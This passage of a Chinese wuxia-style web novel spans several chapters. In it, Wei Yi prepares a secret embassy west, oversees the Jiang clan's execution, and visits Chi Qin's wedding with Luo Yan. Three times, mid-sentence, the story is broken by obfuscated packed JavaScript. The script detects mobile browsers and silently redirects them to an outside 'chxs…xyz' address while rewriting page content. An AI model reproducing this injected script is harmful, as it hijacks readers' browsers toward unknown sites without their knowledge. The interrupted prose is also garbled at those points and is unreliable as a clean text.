三表姐却是个冷清性格,这老半天唯有她一个人是一语不发的,乍一看像是在生气,怕是像了姑姑柳不寒。 韦祎却是知道这位三表姐的本事,这柳家内外大小产业都是由她管着,铁面无私,恩威并重,里里外外的佣人、管事、掌柜没一个不服她的。 她的夫婿与她的性格正好相反,而立之年的人了,看起来天真热络,年轻时是一位游走江湖的侠客,后来不知为何被招进京城,在金吾卫待了三年多,这位三姐夫前脚被金吾卫放出来,韦祎没过一个月就选进了金吾卫。 这位出了金吾卫,就被转进了工部,存在感实在不强,不知道他在做什么,看他这手痒的样子,八成是个没处动手的文职。 其实只要仔细想想,就能猜到,柳卞怎么可能允许自己的入赘女婿无所事事无处施展呢?金吾卫与皇帝间的秘密韦祎多多少少也知道一点,他也曾经收到过橄榄枝,只是正好被出征稞国一事给打断了。 转出了金吾卫,三姐夫如今正在暗中替皇家做事,韦祎可不想多去思量。 搜肠刮肚想了好半天该找什么理由拒绝,原因无它,唯有一条:在场地上明刀明枪的比试,他绝对赢不了这位侠客出身的三姐夫。 若是给他一百步的距离,或者给他半炷香时间去隐蔽,他有七成的把握将对方一箭穿心,但这人是他姐夫,为啥要用箭射他啊? 二人面对面站着拉开架势,只要三姐夫没有突然内急,韦祎必输无疑。 韦祎不喜欢跟人面对面的打架,与敌人对视可以让他浑身难受,非要打架的时候,他更喜欢远远地拿下对方,师门一干人等唯有他一人在精练射箭,轻功好也是为了射箭术服务的。 平常的刀法棍法擒拿术韦祎确实也会,只能揍一揍周冲那种水平的,让他对上肖丰都不一定能赢。 对了,他还可以揍一揍罗晏,罗晏这人比自己还懈怠,打架也不会用上真功夫,更喜欢像七岁小孩一样扑打嬉闹,偶尔来一招仙人赏菊猴子偷桃,抓腋下薅头发点笑穴,没一样正经的。 卸下刀兵,韦祎与三姐夫赤手站在三丈见方的一片空地中央。 互相留面子,拳不到肉就会收回力气,过招之间,熟稔搏斗,久经江湖的三姐夫定然要占上风,光是那充满斗志的眼神投过来,韦祎就立刻想溜走,又不能溜,只好勉强招架,一时逼急了差点使出那招“使人半年不举”的“绝学”。 勉强了一炷香,就被三姐夫使巧劲,推得一踉跄。 收了力,二人站定拱手。 “三姐夫,你是不是在欺负小祎哥啊?”七表妹一边鼓掌,一边站起来笑。 走过来揽住韦祎的肩膀,一齐回到座位上,三姐夫十分惋惜地叹气,“小祎如今怎么不爱斗了,好生无趣!不肯跟我多玩一阵子!” “小祎不爱斗,你还要追着他过招,可不就是欺负他?”舅妈发话,“本就是稀客,他下次不肯登门了,我一定要说你的不是。” “娘,您别总偏心小祎呀,从前我与小祎过招您都没拦过的。”三姐夫叫屈。 “你那会儿是新女婿,不好管你,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357843|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是老女婿了,不管你管着谁?” 众人大笑,连面无表情的三表姐也稍稍脸红。 看这情形,柳卞和大女婿默默地对视叹气。 其乐融融的一餐结束,漱口后撤了饭桌换上茶点,摆出牌桌,表姐表妹们打牌,联起手来赢柳卞的彩头,打了三局柳卞就叫苦,撤出去说什么也不打了,换了韦祎坐过去打牌,姐妹们嫌弃韦祎无趣,才一局就把他哄下牌桌。 又坐在一起闲话家常,直到小娃娃们哈欠连天,表姐表妹们带着孩子各自回家去,韦祎也想趁机告别,未遂。 “小祎呀,来陪舅舅下盘棋再回去不迟。”柳卞笑眯眯地冲他招手。 读作“下棋”,写作“谈心”。 只是谈心也无妨,柳卞憋着个坏消息要告诉他呢。 “出使西域的队伍你打算的怎么样?”柳卞问,“皇帝给了你三千六百人的名额,你怕是凑不够的。更何况你那城防军的兵卒战力,也不足以西去,出使一趟,可不能在西域那些小国的地盘上给咱们大齐国丢脸呐!” 柳卞这么说,肯定是他已经做了安排,“舅舅帮你盘算了一番,从顺天郡要来了一千人,带头的是位偏将,姓庞,这庞将军待过西部边境,熟路又沉着稳重,给你做副手,是个可靠的人选。禁军里也要调来九百人,”柳卞稍有尴尬地笑,“禁军的兵卒战力极佳,这么一来你这支队伍的战力就不用担心了。其他人就从你的旧部里面选调吧。” 战力是不用担心了,好像得担心其他事情了吧! 大姐夫走过来,站在一直开着的门前敲了敲走进来,“为了让禁军选调的人数从一千五减至九百,爹爹这两日可没少烦心,就连我也是用尽了口才。” “不知禁军由哪一位来带队呢?”韦祎接受现实了。 “可巧,这人是那位大统领的亲信子弟。”大姐夫苦笑,“听说打小就跟着禁军大统领了,讨老婆都是大统领帮他购置的宅子。” 感情是干儿子一样的亲信。 舅舅与大姐夫的努力不无用处,这样混编的队伍一般按照带领的人数来计算顺位,韦祎是钦点的主官,按照顺位就是庞将军作为右副手,那位禁军将军作为左副手,多多少少削弱了禁军的影响力。 韦祎还剩下一千七百个名额要填补,他手下的老兵加起来也没有一千人,不可能都带走,少不得要向别的千总借调,再从新兵里面挑一、二百个聪明强健的填进去,就够了。 只是出使,几乎没有要战斗的理由,带上新兵没多大危险。 韦祎谋划着,他跟别人借走多少老兵,就直接把新兵按照相同人数还给他们,正好帮池勤减轻训练的负担。 “还有那监审的事情,把风头和靶子都留给咱们的京兆尹吴大人就好,你不必劳心太多,眼下出使才是头等要务。”大姐夫说。 “本就是吴大人主理,我只行监督,不过蒋氏的案子证据确凿,冤不了的。”韦祎点头,禁军与蒋氏关系甚密,蒋家倒台,失之桑榆收之东隅,禁军趁这个机会在出使上插手找场子再正常不过,蒋氏的案子几天之内就会了结,而出使却是个要耗时半年以上的长线差事,这么长的时间里都要被副手找麻烦可就惨了。 韦祎大半夜才被放出来,跳墙溜回了家。 不想此事还没完,第二天一早也没睡成自然醒,佣人拍门把他给叫起来,让他出去接旨。 香案已经摆好,韦祎趴在那听着来宣圣旨的牛总管拉长了声音,把短短几句话念了大半炷香,一定是故意的。 家里只有韦祎一个人在受这个苦。没人愿意接旨,就算这圣旨是皇帝下的,仍然没人愿意在地上趴老半天。 牛总管的轿子刚出宫城,韦寅和柳不寒半睡半醒间听到了报信消息,一边叫佣人摆香案,一边飞速从床上爬起来穿衣梳头备车,一个说要去衙门,一个说要进宫见贵妃,赶在牛总管进巷子之前,两辆马车从韦宅后门飞速驶出,都溜了。 走之前怕韦祎也溜,家里没人接旨就太过分了,一叠声叮嘱佣人:“你们先不要叫小祎起来,等圣旨到门口了再叫他,省得他跑了。” 16. 各有忙 喊了领旨谢恩准备爬起来,抬头只见牛总管又掏出另一卷明黄色的布帛。 “竟然还有?”韦祎心里默叹,只好又趴下去。 “这是圣上亲笔写的密旨,韦将军需在无人时阅读。”牛总管显然对这么快就结束心有不满,把两卷圣旨交给了韦祎,立刻就走了,反正这韦家是不会给他红包的。 有密旨就是有麻烦事,第一份明旨的内容都是韦祎昨晚就知道了的,回到房间,将密旨打开,这趟为期半年多的苦差事立刻扩容。 密旨上说,在沥州东部沿海的东平郡是皇十三子平郡王的封地,要韦祎在出使西域的路上秘密去东平郡接平郡王一同出使,需一路隐蔽身份,未出齐国前不可让任何人知晓平郡王一同出使西域之事。 “怎么又是王爷,一出征就和王爷扯上关系。”出征稞国的后遗症,韦祎认为自己除了对茨菇类过敏,也对王爷过敏,碰上王爷绝对没好事。 这队伍是向西走的,东平郡却在东部的海边,怎样都不顺路啊!怎么秘密得起来? 今天没时间给他惆怅,再过一个时辰,蒋氏的案子又要升堂,小林已经站在房间门口徘徊着等他了,按照日程安排,今天审的是一件侵占地产的案子,证人又多,事情又杂,天气又热,大概又会在椅子上久坐。 那公堂的红木大椅上没有坐垫,每每久坐到裤子被汗湿!站起来之后从背面看就像是尿了裤子一般!要不要带上一套替换的衣裤呢? 蒋氏不仅要完蛋,而且要丢命,看一眼那装了一大箱子的卷宗,蒋颂官兄弟以及近亲子侄还有一众恶仆一定会没命,已经报了刑狱司,由柳卞带着吴签去面圣了一次,韦祎的监审报告也送上去了,只等着看皇帝要让他们怎么个死法。 韦祎希望,最好是直接赐个毒酒赐个白绫什么的,再差一点就砍头了事,千万别判处凌迟、车裂之类的。 真不是因为他慈悲,这段时间听这群人得无耻申辩也听得烦躁,按说蒋氏的罪行,凌迟个十次八次都足够了。 他这样想,只是因为一般情况下就由主审官和监审官直接去做行刑官和监刑官,他可绝对绝对不想观看凌迟。 其实还有个希望,期待着这蒋颂官兄弟能在狱中畏罪自裁,那可就最省事儿啦! 这是不可能的。 落难后的蒋氏一族怂得不行,没那个自裁的骨气。 一直畏畏缩缩半疯半颠的活到了皇帝批复判刑的那天。 吴签看过了朱批,把奏章递给韦祎,韦祎眯着眼睛打开了朱批奏章,胆战心惊的偷眼望去,生怕看到什么全族凌迟之类的判词。 看清了上面的字韦祎暗骂一声,吴签好重的口味,他报给皇帝说要判处蒋氏主犯车裂之刑,判处戴罪子侄腰斩,其余轻罪者发配为苦役,一众十三岁以下无罪男女贬为罪籍,充入教坊。 幸好皇帝没听了他的馊主意,朱批御笔写得很密实,主要是因为空白处实在不多。韦祎记着皇帝的习惯,他奏章批着批着就想摔笔。 懒得在批复上粘贴加页纸,皇帝在御桌上放一罐胶水裁剪小纸片做粘贴的手工活儿像话吗? 因此字多都在挤着写,细笔的蝇头小楷练得极好,实在不耐烦时,会在奏章封皮上大大的写上“废话连篇”四个大字。 常常上呈奏章的大臣们都清楚皇帝有这个习惯,会在奏章的最后留一两页空白,以防皇帝批得生气。 吴签官小,不知道。 御笔朱批道:按《刑律》,判处蒋氏犯人命罪者斩首,侵占地产、钱财者由尔核对,没收蒋氏产业原数返还失主,并付倍数赔款。抢夺平民为奴婢者犯《废奴律》,按律处罚杖责与赔款。蒋氏无罪者不株连。其余罪责皆按律法处理,凡有重复者由轻至重执行。吴卿、韦卿监斩。 朱批的小字写到这里实在是没有空白可以写字的地方了。 韦祎合上奏章,封皮上没有字,于是翻过来看封底。 只见封底的奏章皮上面两个红色的大字:“按律”外加一个着重的大方框。 吴签就站在旁边,谁能想到要看看奏章的封底?等到韦祎去看封底的时候他也才刚刚看到封底有字。 两人对视一眼,韦祎尴尬地笑,吴签也尴尬地笑。 抄没蒋氏家产只花了一天半,不择手段攒下偌大家业,一眨眼都付之东流。 回去后,京兆尹府要细细录成册,返还给失主,还有剩余,则估值后返还一小部分给无罪的亲属,其他的充公。 算账的这些事就不归韦祎管了,他的任务就到行刑为止。 中间没有什么间隔,行刑的日期就定下来了,挺靠前,立秋第一天就斩。 在等待问斩的时间里,调令到达了城防军,池勤正式升职成为从五品城防军第四营营千总。韦祎获封正四品安军中郎将兼访西域正使,顺天军中营偏将庞仁获封访西域右使,龙捷军殿前骑兵副点检曲喆获封访西域左使。 龙捷军就是禁军,这名字改得太勤快,大家都不乐意记,反正叫禁军就对了。 新的官服和盔甲在调令到达的那一天发放给了韦祎,韦祎此时正穿着新的官服坐在城东大集市的刑场上。 不对,坐在刑场上岂不是糟了,准确的说,他正坐在刑场前方的监刑台上。 他这次一升官,官位比吴签要高,但他是副监刑,座位的摆放确实不好办,这件事吴签的师爷盘算了一早上,直到韦祎到场,他非常坚决地要求坐在吴签的后面,搞得吴签特别满意。 “能坐多远坐多远,可千万别喷我一身血,这衣服特难洗。”韦祎摸了摸身上衣裳的料子,心想,好家伙,升了官换成了上等丝绸做官服,枣红色的圆领丝袍,又不禁脏,又难洗净,洗了之后要摊平了晾干,晾干后要用衣架子撑着,不然全是褶子。 事情都是吴签做,韦祎只要在那看着就成,一边等着一边给自己做好心理建设,坐在监刑台上的感受与法场周围的围观百姓不同,强烈地感觉人像是自己杀的,并开始怀疑自己在核对案卷的时候有没有出过错误。 囚车到。 二十六个人,有男有女,依次被押上来,为首的当然就是蒋颂官,韬乐的老爹。这才半个月,这人的身子像跑了气的皮球一样干瘪下来,今日样子还不错,竟然梳理了头发。 蒋韬乐也在其中,他手里不止姜雨这一条人命,多方核查证明他从十四岁起就沉迷美色,喜欢玩些花样,这十年的时间里,在他的“花样”里面没了命的,不算姜雨也有五位,甚至有逼人吸食大量禁药致死等罪名。 有哭闹的,有木呆呆任人摆弄的。 蒋韬乐从藏娇楼里被抓出来开始精神状态就不大好,也许与服用禁药有关,到现在已经算是疯疯傻傻,跪在刑场上笑嘻嘻啃手指头呢。 他爹、他娘、他大哥都跟他一起在行刑台上等着,一家人嘛,整整齐齐。 血溅三尺的时候韦祎在愁,今天是池勤大喜的日子,这厢完事之后要不要去喜宴呢?去了怕人忌讳,不去也不大好。 “唔吇!”只听吴签小声的惊呼,抬头看去,果然是血喷到他了,二十多个人头要砍,总会有喷到的。 一脸鲜红色还在往下滴答,正慌忙的找手帕擦脸。检查一下自己身上没喷到,韦祎抽空窃喜。 围观的人群里面有一人很惹眼,坐在一匹高大的马上,比他人要高许多,这人正在愉快地向韦祎挥手,察觉到韦祎看到他之后还比了个大拇指。 “他回来的时间可巧。”韦祎心想,此时自己也不好做什么动作,有损监刑官的威严,只往那边投过去一个眼神示意问候。 骑在马上的,被挤在人群里的罗晏拍拍胸脯,对着韦祎摆口型:“我等你!” 他不等也不行,从东门进城正赶上观看行刑的人群在往刑场上聚集,他和马被挤在这里动弹不得。 “这才像样!”罗晏大力拍打着韦祎的后背。“这红袍子很适合你嘛,早就该穿上这一身啦!” “你再这么拍我可揍你了。” “韦将军发威好可怕哦,吓得我立刻就不拍了!”罗晏欠欠儿的劲头上来了,韦祎伸出剑指作势要点他的穴道。罗晏迅速伸手防御,于是韦祎改变策略,点在了罗晏手肘的麻穴上。 “哎呦痛痛痛痛!” “耽搁了这么多天?”韦祎问,这几天变动太多,如果罗晏在身边帮忙应酬会轻松不少,还可以抓他帮忙整理案卷,池勤那么忙,可不好意思再给他增加负担。 “想要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357844|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了解了解你岳丈嘛!” “你了解岳丈大人干嘛?那是我岳丈又不是你岳丈。” “不是要把我家小易介绍给你?当然得替她了解了解你的岳丈,如果不好相处可糟了!” “呵。”韦祎冷笑,“我都没同意呢,你这个动作未免早了些?” “你的意见不重要。走吧,今天不是池百户大喜的日子?我昨天夜里才想起来,半夜爬上马跑回来,现在赶过去还能喝上一口喜酒呢!” “第一,你怎么知道池勤今天成亲?第二,他现在可是池千总了。” “果然,你看看,你升官了他也升官,你就该早升官才对!我都替池将军叫屈。”罗晏掀开鞍袋子给韦祎看,里头塞着个精致的大木头盒子。 “你是把这礼品从京城带去了国公府,又把它给带回来了吗?”韦祎想,难道这本是罗晏准备送给魏国公的,结果魏国公不收,所以转而送给池勤?这太不走心了! “这么不走心的只有你自己,我这可是早早订做好的,京城东门口就有我家的铺子,我刚取来。” “我说,现在去不太好,刚刚监斩就去别人家的喜宴,就算池勤不在乎,家里的其他亲戚也会不满意的。” “说的也是,那我们先去吃饭,等晚上再悄悄地去给池将军贺喜。”罗晏一手抓着韦祎,一手抓着马缰绳迅速向前走,“今天的早饭我都没吃就被挤在那里看砍头,胃病都要犯了。” “吃了早饭才会有问题吧,我现在好反胃。” “来两杯好酒就能治好反胃!信我的,喝不成喜酒正好跟我喝一杯,我出门一趟你就偷偷升了官,酒是不能省的!” 这人是在哪儿听说的喝酒能治疗恶心?韦祎与罗晏在一家酒馆的雅座里从中午喝到了西边出现夕阳。韦祎并没有喝多少,但是他觉得自己除了更反胃了之外头也开始晕了。 想运功发散出去,罗晏又在一旁不停的打断,说什么好不容易喝醉了,再运功排出去,就白喝了! “你就要出征,我没办法挥泪送你出征了,明天回去收拾一下我就要启程。” “就算你留下也不用挥泪送我,不过你什么事情这么急着出发?” “唉,你想听吗?”罗晏放下酒杯,长叹一口气,做好了滔滔不绝的准备。 “不,我不想。” “听听嘛,我跟你说啊,都怪我那个不靠谱的老爹,通商令变了,我家各类生意的平衡要重新找,最近有不少掌柜的十分不满嘛,你看这进货量变大了,镖行和驼帮的压力暴增,珠宝铺子丝绸铺子又一时不肯加成本,正闹着别扭呢,我老爹听说了之后直接派人加急传信把这个得罪人的差事派给我,要从京城南边开始,东西南北的跑上十几个郡,能赶在过年之前跑完就算我幸运。” “虽然不想听,但是你这么忙,我怎么觉得高兴一点了?” “稍微有一点同情心如何?” 韦祎和罗晏从酒馆出来,各自去茅厕吐了一场。 回到韦宅喝杯酽茶,冲个澡换了衣服,天已经彻底黑了,一人夹一个大礼盒,向城南池家走去。 池家门前挂着红布的大花,门上贴着双喜字,地上满是红艳艳的爆竹纸。 门口还拴着好几匹马,“相熟的亲朋应该还没散,这么走进去不大好。” 茶馆也关门了,没处待着,这个时候还开着门的可能就只有寻欢作乐的场所了。 “走这边。”罗晏和韦祎绕着池家院子转了半圈,找到一处墙面与房屋相连的地方,后退几步助跑,轻身翻上房顶。 韦祎回自己家翻墙习惯了,没多想直接跟上。 二人猫着腰在池家宅子的房顶上溜达,半炷香的时间过去了,韦祎才想起来,“这样是不是不太好,被抓到可要待在京兆尹的牢房里过夜。” “那别被抓到啊韦将军,我这有汗巾,要不你把脸蒙上?”罗晏一边说一边从袖子里掏出一条布料来递给身后的韦祎。 韦祎接过来,拎在手里看了看正面又看了看反面。“这不是汗巾,这就是蒙面巾。”空出手来把这东西打了个结砸向前面的罗晏,“哪种汗巾是这么黑的?还有系在头上的带子!你能告诉我你为什么随身携带这玩意吗?江洋大盗?” 17. 梁上客 “不是你说怕被抓?”罗晏停下来理论,“不识好人心!还要砸我,你看,都掉到地上去了!” “这是重点?” “我和你这种当官的可不一样,行走江湖嘛,总是有不方便露面的时候。”罗晏伸手指向下面一间灯火通明,贴着好几个大喜字的房间,“哎,找到了!这间应该就是新房,听声音池将军还没回来,我们在这等。”他在房顶上坐下来,将礼品箱子放在身旁。 “你的江湖是在房梁上还是在山寨里?我这几年还真是对你疏于了解。” 罗晏眼神炯炯地看向韦祎,“你现在不也在房梁上吗?正好我给你讲讲,你想听吗?” “不,我不想,你还是别讲了。” 韦祎也找了个舒服的姿势坐在房上。“这几天信息量太大,让我缓缓。” “你刚才说听什么听声音?”韦祎忽然想起来。 “新房里的声音呗,我不信你听不见,这会儿一点动静都没有,肯定是只有新娘子一个人坐在里面!” “听个屁,把耳朵闭上!” “我跟你说,这蒙面巾有讲究,可不是纯黑色的,比黑色多一点灰颜色在里面,其实这样更容易隐僻,”罗晏安静了一小会儿,突然出声。“我在南宁国的时候啊,在一个农庄里住了有十几天,终于等到了那个据说是强抢民女的······” “闭嘴。” “我好想打你。” “你怎么知道池勤今天成亲?” “之前去城防军玩的时候他自己告诉我的,这位池将军真是个好人,文武双全!我得跟他搞好关系,什么时候他不想混官场了,挖去我家当镖头,我家的镖师总也不够,镖头们都是大老粗,可愁死人啦!之前我去北边督查一批皮毛的押送,我家北边分局的镖头真的气死个人,自己记错了账还要跟取货的金主争执,不知道要和客户搞好关系吗?竟然把人家的儿子给······” “闭嘴。” 池家的宅子不大,是一座小巧的三进院子,整体看来还是蛮朴素,被池家住得挺拥挤,没什么景致。后院里唯一的一处小空地放上了好几排晾衣服的竹竿,即使是今天这样的大日子,上面也晾满了衣服。 院子里只要有空档就种上了许多花花草草,刚刚入秋的时节,夏天开的花还没有败,秋天开的花已经打了骨朵,生机勃勃。 韦祎从前也上过柳家的房顶。 柳家可大,在寸土寸金的京城里一眼望不到头,即使人口不少,整座府邸也显得空荡荡,景致十分好,园林都有一大一小两座,淙淙流水声不断,佣人在其中安静地穿行打扫,说话的时候都要压低声音。想要体会压抑的安静就站上柳家的房顶好了。 韦宅的房顶韦祎更熟悉,白天还成,佣人家小孩子们都在院子里玩耍,闹着韦祎也带他们上房,到了晚上就漆黑一片,偶尔见到个人要吓一跳。 池家不同,似乎每间房子都住着人,箱子篓子、脱下来的脏鞋子堆在房门口,里面塞着袜子。往后看还挂了一墙的腊肠干肉、黄玉米红辣椒,沿着厨房的墙根摆着大小酱缸、咸菜缸、酱菜坛、生菜蔬,拥挤又有人气儿。 喜宴的酒味菜味儿和鞭炮的气味儿还在空中没散去,在这坐着,呼吸的都是烟火。 “壹通,行走江湖好玩吗?” 庙堂之高,是摆在面前的路。江湖之远,他没去过。 “好玩啊。” “和师父那里比?” “哈哈,不好玩。”罗晏迅速的回答了韦祎,中午他比韦祎喝的多,到现在也没有完全褪去酒气,安静的坐了一会儿,“你知道,所谓行侠仗义,一定是先发生了不仁不义的事情,其实挺可怕。还有,我哪儿能叫行走江湖啊?人这么多,谁是能用上的,哪个是不利的,要分出来可够我头疼的。” 去年见到三表姐夫的时候,韦祎问他为什么要进朝堂,三表姐夫拍拍胸脯跟他聊了一炷香的“报效国家”“效忠君主”“为民除害”,韦祎听了听,“这不是军营策论课的老生常谈吗?亏你能记得住。” 三姐夫犹豫了好长时间,嘿嘿一笑,挠着头告诉韦祎,他年少时为了报仇,阴差阳错得罪了一个十分有势力的门派,被追杀了一年多,最后身受重伤逃不动了,只好接受官府的召集令。 “好惨!”韦祎不忍心问下去了。“那你觉得当官好玩还是当侠客好玩?” “小祎你是想问在哪儿更好吧?你直说嘛!我跟爹爹可不同,不会撺掇你混官场的!哈哈哈哈!”他又捻着下巴认真苦思冥想了老半天,“真要说的话,我倒是觉得能娶到三姑娘是最大的好事,如果我是一介江湖白衣,怎么可能认识她呢!” 回想起来,三表姐夫的意思也许是,江湖和庙堂,都不怎么样。 罗晏还在那絮絮叨叨,韦祎每个字都听进了耳朵里,他此时并不想给自己增加额外的情绪负担,也不想再叫罗晏闭嘴。 罗晏主动闭了嘴,“你又想听了?你想听了我就不说了!” “你……闭嘴!” 听声音,筵席似乎接近了尾声,一众亲戚朋友终于肯放新郎官去洞房,池勤一个人歪歪倒倒地从前院走了出来,往新房走去。 路过中间的狭窄空地,看到地上掉了有一个黑乎乎的布料团子,他蹲下去捡起这块可疑的物品左右看看。罗晏在房上憋笑憋得辛苦,韦祎白他一眼,打了个呼哨,池勤闻声抬头,露出笑脸来冲他们挥手。 放在平常,池勤跳上房没什么问题,醉得路都走不稳时就别提上房了。 韦祎跳下去,叉住池勤把他带到房顶上。 “哎呀千总,我还以为你不来了呢,不对,你现在已经是中郎将啦!”池勤是那种喝了酒之后身体不受控制但头脑还清醒的类型,无论喝多少都不说胡话不断片儿,“还有罗公子,多谢您的礼!” “不用客气,你什么时候想辞官要第一个告诉我!”罗晏大力拍池勤,韦祎都怕他把池勤给拍吐了。 “我辞官岂不是又坑我弟弟?”池勤哈哈笑着,“您可别想了。” 刚才偷看时他们两个数了数,算上不在家的大哥,池家竟然有足足十二个孩子。 “你家的人口可真兴旺!” “原本没有这么多,我娘都六十多了,我小妹才五岁,怎么可能?” “难道?”罗晏心中的八卦之弦绷紧了,池老爹不像是会养外室的样子啊! “小叔前些年在北境战死,小婶忧思成疾,没多久也去了,我爹娘就把小叔的四个孩子接过来啦。” “哎,抱歉啊。” 北方边境,战死沙场的几率最高,池家这军户真是不易。 送过了礼,罗晏想先把池勤叉进洞房,池勤不同意,非要看着他们两个离开院子才肯进屋,罗晏的偷听计划随之泡了汤。 “为什么会有醉成这样还这么清醒的人?” 韦祎捂着罗晏的耳朵把他拖到了街上。 两个人各自回屋,进屋前还在说,看池勤好稳重的一个人,成亲时傻乐成那个样子。 “他已经傻乐了一个多月了,”韦祎说“成亲后更是得傻乐上大半年吧。” “难不成他的娘子美若天仙?” “非要美若天仙才准乐,讨娘子难不成只看样貌?”韦祎说。 听到韦祎跟他抬杠,罗晏迈进屋里的那只脚收了回来,“这话别人说也就罢了,你,还真不能这么说。 “也不知道五年前是哪位大少爷写了一封信巴巴地讲些恬不知耻的好事,说他偷偷去了安都郡,费尽心机绕过魏国公府的守备,潜进内院偷看自己的未婚妻子长什么样,刚看见个模糊的身影就被迷得不行,从房檐掉进了水塘里,被家丁当成贼子痛揍一顿扔了出去。” 前半段是罗晏从信件里看到的,后半段故事是罗晏几年前住在韦宅的时候听魏清泉讲的。 “竟有此事,在下第一次听说。”韦祎沉默后决定装傻并在内心中痛骂当年那个傻小子,去偷看也就去偷看,为什么要写信给罗晏说? 这封信一定是被罗晏给“珍藏”起来了,憋着坏水等到七老八十的时候拿出来给我孙子们看。 韦祎回想自己议亲的时候,那会儿可真是什么都不懂,少年意气,满心想的都是大好前途。听舅舅说,要去魏国公家提亲,魏国公乃是能征善战、备受倚重的一代名将,就没考虑别的,立刻点头答应了,晕乎乎过去了两个月,婚事都说定了,才想起来要考虑到未婚妻子本人的样貌和品性。 于是就去找人打听,贵妃姨母、舅妈、表姐们都见过了魏清泉,把这位未婚妻夸出了花儿来,韦祎这才决定亲自潜入魏国公府看一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗晏:“切,老话说,这老虎发威时,飞禽走兽惊惧四散而已,但是有一日这老虎笑眯眯去舔舐山羊的额头,登时把山羊吓得心脏崩裂无法动弹。清泉那是不在乎,你以为清泉像你一样,住在金山里喊穷?” 院子里,深夜的凉风吹过树叶,发出一阵沙拉拉的声响,隐约像女子的笑声,正站在树下扯皮的韦祎和罗晏浑身发冷,罗晏双掌合十,连声“对不住”。 喊完对不住他伸手去摸了一把韦祎后脖子,摸到一手冷汗。 他把手上的汗都抹在韦祎衣裳上面,悄声道:“你看看,把你吓得,清泉的英灵吹来一阵风都有这效果。” “是你说了她的坏话吓得不行,那是你手上出的汗。” “要我说,清泉一定会认为你说的才是坏话呢。” 魏清泉只与韦祎一同生活了一年而已,这一年里韦祎还常常忙于公事,本以为有漫长一生相伴,不必急于如胶似漆。 显然,清泉也是这样想的,婚后一年,韦祎要参与南征,清泉早习惯了身边有人出征,非常支持。 亲自去送丈夫,谈笑说要不是因为儿子太小需要照顾,她也要与韦祎一同出征,让韦祎当心头筹不保。 韦祎说,下次出征一起去,比比看。 一别成永别。如今韦祎即将再次启程,而清泉也只能在院子里吹来一阵风逗他。 各自回屋趁着酒劲倒头就睡,第二天罗晏出门去最后会见京城的掌柜们。与此同时,韦祎的遭遇更可怕一些。 庞仁将军已经整队到了京郊,暂时驻扎在城防军营旁边,出于友好,他今天特意起早赶来韦宅拜会,而禁军的曲喆将军也堵在了韦宅门口。 韦宅风景名胜之闭门羹,庞将军和曲将军也要尝一尝了。 门口还有不少前来拜会的西域商人,庞将军会说西域话,很快就和这些外邦人聊到了一起,越发显得旁边的曲将军形单影只。 罗晏牵着马从后门绕到前门来,正巧看见这两位将军。他栓了马,翻身上房跳回韦宅,把还没有起身的韦祎摇醒。 “你不是下午出京城吗?” “我看你今天下午是没办法送我了,先把你弄醒告个别。” “怎么说?” “你那庞将军和曲将军正在门口等着呢,估计你今天有的忙。” “什么?”听了前半句,韦祎从床上跳下来扑向洗脸盆。“他们这一个两个的这么勤快做什么?” 18. 见真章 “这一别不知道要多久,你可记得给我回信啊。”罗晏叮嘱。 “可难了,你要各地跑,我也不知道身在何处,能传到信才怪。”韦祎这态度显然是不想写信的。工作向来乏善可陈,没有分享价值,信里罗晏的生活又有趣得很,他看着来气。 “说的也是,那等我什么时候忙过了,回到大宅,再给你去信。不过,有什么急事找我,就去城镇里罗氏的店铺问,我给你留块玉佩。” “可算了吧,我能有什么急事找你?” “给你放这,爱拿不拿。” 等韦祎洗漱完毕,和罗晏一同走出了韦宅的后门,绕到前门时,一个去牵马,一个去会见新的下属,就此拱手作别。 韦祎与庞仁、曲喆一行三人骑上马,到了城外的城防军大营。 池勤休婚假在家,没办法跳出来阻止,所以韦祎毫不犹豫的通知肖丰、钱氿、周冲、郑予四个点兵,预备一同前往西域。 闷在京城日子久了,有这么一个外出放风的机会,他们四个紧锣密鼓地准备起来。 这操作无非是用自己营里的二愣子新兵换其他营的老兵,十分缺德。 韦祎则要对付庞仁与曲喆二位。 罗晏早上还说来着,人如其名,庞将军高大壮硕,看起来就是一位能倒拔垂杨柳的,而那位曲喆将军,身形瘦削,看似灵活精干。 没等曲喆把矛头对准韦祎,他与庞仁的矛盾就先出现了。 边境出身,历经艰险无数的将官一向看不起京城里养尊处优的将军,直呼那是“假把式”。 而禁军出身的将官个个师出名将,兵法精熟、武艺高强,也不是十分瞧得上边关那些出身微寒的野路子。 韦祎就转个身跟旁人交代几句话,再回头,看见庞将军和曲将军正在那里解铠甲、脱外袍,想要比试一番。 “今天就要看看,谁才是假把式。” “劳驾曲将军出手,末将还真是有些不好意思,曲将军是贵人,贵人一向是动口不动手的。” 